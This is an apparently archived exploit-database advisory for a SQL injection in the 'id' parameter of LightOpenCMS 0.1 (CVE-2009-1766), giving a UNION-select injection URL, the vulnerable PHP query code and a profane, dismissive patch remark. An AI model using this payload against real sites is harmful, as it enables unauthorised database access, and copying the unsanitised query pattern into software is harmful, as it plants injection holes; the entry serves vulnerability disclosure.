LightOpenCMS 0.1 - 'id' SQL Injection
Author: Mi4night
type: webapps
platform: php
port:
date_added: 2009-05-17
date_updated:
verified: 1
codes: OSVDB-54722;CVE-2009-1766
tags:
aliases:
screenshot_url:
application_url:
[+] LightOpenCMS (id) SQL Injection Vulnerability
[+] Author: Mi4night
[+] Script: http://sourceforge.net/project/downloading.php?group_id=251474&filename=locms-0.1-pa.zip&a=4814604
[+] Injection:
http://127.0.0.1/[path]/index.php?id=-1%27%20union%20select%201,2,@@version,4%20%23
[+] Requires: magic_gpc() == OFF
[+] Vulnerable code:
if (isset($_GET['id'])) {
$result = mysql_query("SELECT * FROM pages WHERE id='".$_GET['id']."'");
[+] Patch:
Its fucking beta.. or alpha or whatever. they'll fix it in the stable version !
[+] Shoutz to: Nuc my brotha, str0ke and all the otherz i forgot xD
# milw0rm.com [2009-05-18]